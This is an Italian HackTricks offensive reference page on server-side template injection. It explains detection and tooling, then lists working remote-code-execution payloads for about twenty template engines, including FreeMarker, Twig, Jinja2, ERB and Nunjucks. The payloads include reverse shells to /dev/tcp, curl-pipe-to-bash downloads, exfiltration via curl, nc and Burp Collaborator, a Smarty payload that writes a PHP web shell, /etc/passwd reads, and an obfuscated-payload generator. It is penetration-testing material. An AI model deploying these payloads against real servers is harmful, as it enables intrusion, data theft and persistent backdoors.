.. | ||
el-expression-language.md | ||
jinja2-ssti.md | ||
README.md |
SSTI (Server Side Template Injection)
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud github repos.
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro bollente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
Cos'è SSTI (Server-Side Template Injection)
L'Server-side template injection è una vulnerabilità che si verifica quando un attaccante può iniettare codice dannoso in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, inclusa Jinja.
Jinja è un motore di template popolare utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:
output = template.render(name=request.args.get('name'))
Nel codice vulnerabile, il parametro name
dalla richiesta dell'utente viene direttamente inserito nel template utilizzando la funzione render
. Questo potenzialmente potrebbe consentire a un attaccante di iniettare codice dannoso nel parametro name
, portando a una iniezione di template lato server.
Ad esempio, un attaccante potrebbe creare una richiesta con un payload del genere:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Il payload {{bad-stuff-here}}
viene iniettato nel parametro name
. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, ottenendo potenzialmente il controllo sul server.
Per prevenire le vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente venga correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escape consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.
Rilevamento
Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, fuzzare il template è un approccio diretto. Ciò comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\
) nel template e l'analisi delle differenze nella risposta del server tra dati regolari e questo payload speciale. Gli indicatori di vulnerabilità includono:
- Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template.
- Assenza del payload nella riflessione, o parti mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
- Contesto in Testo Puro: Distinguerlo da XSS controllando se il server valuta le espressioni del template (ad esempio,
{{7*7}}
,${7*7}
). - Contesto del Codice: Confermare la vulnerabilità modificando i parametri di input. Ad esempio, cambiare
greeting
inhttp://sito-web-vulnerabile.com/?greeting=data.username
per vedere se l'output del server è dinamico o fisso, come ingreeting=data.username}}hello
che restituisce il nome utente.
Fase di Identificazione
Identificare il motore del template comporta l'analisi dei messaggi di errore o il test manuale di vari payload specifici del linguaggio. I payload comuni che causano errori includono ${7/0}
, {{7/0}}
, e <%= 7/0 %>
. Osservare la risposta del server alle operazioni matematiche aiuta a individuare il motore del template specifico.
Strumenti
TInjA
uno scanner efficiente per SSTI + CSTI che utilizza nuovi poliglotti
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/ --crawl 5 --forms
python3 sstimap.py -u 'https://example.com/page?name=John' -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Tabella di Iniezione di Template
una tabella interattiva contenente i polyglot di iniezione di template più efficienti insieme alle risposte attese dei 44 motori di template più importanti.
Exploit
Generico
In questa lista di parole puoi trovare le variabili definite negli ambienti di alcuni dei motori menzionati di seguito:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Iniezione di base
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Recupero delle variabili di ambiente di sistema
${T(java.lang.System).getenv()}
Java - Recupero /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Puoi provare i tuoi payload su https://try.freemarker.apache.org
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 -- (legacy)
${7*'7'} Nothing
${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Bypass del sandbox
⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Ulteriori informazioni
- Nella sezione FreeMarker di https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Ulteriori informazioni
- Nella sezione Velocity di https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}
, che si applica anche a questo motore di template. Per potenziali esecuzioni di codice remoto, possono essere utilizzate espressioni come le seguenti:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf richiede che queste espressioni siano inserite all'interno di attributi specifici. Tuttavia, il inline delle espressioni è supportato per altre posizioni del template, utilizzando sintassi come [[...]]
o [(...)]
. Pertanto, un semplice payload di test SSTI potrebbe assomigliare a [[${7*7}]]
.
Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver
per creare template da stringhe al volo, il che è raro.
Thymeleaf offre anche il preprocessing delle espressioni, dove le espressioni all'interno di doppi trattini bassi (__...__
) vengono preelaborate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:
#{selection.__${sel.code}__}
Esempio di Vulnerabilità in Thymeleaf
Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Questo indica che se il motore del template elabora in modo improprio questi input, potrebbe portare all'esecuzione remota di codice che accede a URL come:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Ulteriori informazioni
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Framework Spring (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypassare i filtri
Possono essere utilizzate più espressioni di variabili, se ${...}
non funziona prova con #{...}
, *{...}
, @{...}
o ~{...}
.
- Leggi
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Script personalizzato per la generazione del payload
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Ulteriori informazioni
Manipolazione della vista Spring (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Pebble (Java)
{{ someString.toUPPERCASE() }}
Vecchia versione di Pebble ( < versione 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nuova versione di Pebble:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
Jinjava è un motore di template Java che supporta l'esecuzione di codice Java all'interno dei template. Questo lo rende estremamente potente ma anche pericoloso se non adeguatamente controllato. Un attaccante potrebbe sfruttare questa vulnerabilità per eseguire codice dannoso sul server.
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava - Esecuzione di comandi
Risolto da https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Ulteriori informazioni
Hubspot - HuBL (Java)
- Delimitatori di istruzioni
{% %}
- Delimitatori di espressioni
{{ }}
- Delimitatori di commenti
{# #}
{{ request }}
- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}
- "A"{{'a'.concat('b')}}
- "ab"{{'a'.getClass()}}
- java.lang.String{{request.getClass()}}
- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}
- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il progetto Jinjava su Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Ulteriori informazioni
Linguaggio di espressione - EL (Java)
${"aaaa"}
- "aaaa"${99999+1}
- 100000.#{7*7}
- 49${{7*7}}
- 49${{request}}, ${{session}}, {{faceContext}}
Il Linguaggio di Espressione (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica dell'applicazione (come i managed beans) in JavaEE. Viene ampiamente utilizzato in molte tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:
- JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni di backend corrispondenti.
- JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, facilitando il collegamento degli elementi della pagina ai dati dell'applicazione.
- Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione senza soluzione di continuità tra il livello web e i managed beans, garantendo una struttura dell'applicazione più coerente.
Consulta la seguente pagina per saperne di più sull'exploitation degli interpreti EL:
{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}
Groovy (Java)
I seguenti bypass del Security Manager sono stati presi da questo articolo.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto d'incontro fervente per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.
{% embed url="https://www.rootedcon.com/" %}
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Ulteriori informazioni
- Nella sezione Smarty di https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Errore
{{foobar}} Nulla
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Formato del template
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Ulteriori informazioni
- Nella sezione Twig e Twig (Sandboxed) di https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates è un motore di template nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates utilizza il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.
Controller:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Modello di pagina:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Modello di layout:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Ulteriori informazioni
PHPlib e HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.
authors.tpl
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
SSTI (Server-Side Template Injection)
authors.php
Description
The authors.php
file is vulnerable to Server-Side Template Injection (SSTI). This vulnerability allows an attacker to inject and execute arbitrary code on the server by manipulating template variables.
Exploitation
To exploit this vulnerability, an attacker can inject template code into the author
parameter of the URL. For example, by appending ?author={{7*7}}
to the URL, the attacker can perform arithmetic operations on the server.
Recommendation
To mitigate SSTI vulnerabilities, avoid directly passing user input to template engines. Sanitize and validate all user inputs before using them in templates.
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Ulteriori informazioni
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Ulteriori informazioni
- Nella sezione Jade di https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate (PHP)
patTemplate motore di template PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Ulteriori informazioni
Handlebars (NodeJS)
Traversamento del percorso (ulteriori informazioni qui).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Errore
- ${7*7} = ${7*7}
- Nulla
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Ulteriori informazioni
JsRender (NodeJS)
Template | Descrizione |
---|---|
Valuta e renderizza l'output | |
Valuta e renderizza l'output codificato in HTML | |
Commento | |
e | Consenti codice (disabilitato per impostazione predefinita) |
- = 49
Lato Client
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Lato Server
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Ulteriori informazioni
PugJs (NodeJS)
#{7*7} = 49
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Esempio di rendering lato server
var pugjs = require('pug');
home = pugjs.render(injected_page)
Ulteriori informazioni
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Nessun output
- #{7*7} = #{7*7}
- {{console.log(1)}} = Errore
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
Ulteriori informazioni
ERB (Ruby)
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Errore
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Ulteriori informazioni
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Ulteriori informazioni
Python
Consulta la seguente pagina per apprendere trucchi sull'esecuzione di comandi arbitrari eludendo le sandbox in python:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}
Tornado (Python)
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Errore
{{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}
{% import os %}
{% endraw %}
{{os.system('whoami')}}
{{os.system('whoami')}}
Ulteriori informazioni
Jinja2 (Python)
Jinja2 è un motore di template completo per Python. Ha il pieno supporto Unicode, un ambiente di esecuzione sandbox opzionale integrato, ampiamente utilizzato e con licenza BSD.
{{7*7}} = Errore
${7*7} = ${7*7}
{{foobar}} Niente
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
{{settings}}
<div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
Jinja2 - Formato del template
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
RCE non dipendente da __builtins__
:
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Ulteriori dettagli su come sfruttare Jinja:
{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}
Altri payload su https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
